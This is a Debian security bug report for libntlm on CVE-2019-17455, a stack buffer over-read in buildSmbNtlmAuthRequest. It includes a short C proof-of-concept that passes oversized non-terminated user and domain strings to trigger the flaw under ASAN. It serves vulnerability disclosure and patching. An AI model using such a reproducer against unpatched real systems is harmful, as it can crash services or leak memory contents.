[Pkg-auth-maintainers] Bug#942145: libntlm: CVE-2019-17455

[Salvatore Bonaccorso]

Source: libntlm
Version: 1.5-2
Severity: important
Tags: security upstream
Forwarded: https://gitlab.com/jas/libntlm/issues/2
Control: found -1 1.5-1

Hi,

The following vulnerability was published for libntlm.

CVE-2019-17455[0]:
| Libntlm through 1.5 relies on a fixed buffer size for
| tSmbNtlmAuthRequest, tSmbNtlmAuthChallenge, and tSmbNtlmAuthResponse
| read and write operations, as demonstrated by a stack-based buffer
| over-read in buildSmbNtlmAuthRequest in smbutil.c for a crafted NTLM
| request.


If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2019-17455
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17455
[1] https://gitlab.com/jas/libntlm/issues/2

Please adjust the affected versions in the BTS as needed.

Reproducer for the issue:

,---- [ poc.c ]
| #include<ntlm.h>
| #include<stdio.h>
| #include<stdlib.h>
| #include<string.h>
| extern void  buildSmbNtlmAuthRequest(tSmbNtlmAuthRequest * request, const char *user, const char *domain);
| int main (void)
| {
|   char user[1024];
|   char domain[1024];
|   memset(user,'a',1024);
|   memset(domain,'b',1024);
|   tSmbNtlmAuthRequest request;
|   tSmbNtlmAuthChallenge challenge;
|   tSmbNtlmAuthResponse response;
|   buildSmbNtlmAuthRequest (&request, user, domain);
|   return 0;
| }
`----

(copile with ASAN to verify the issue).

Regards,
Salvatore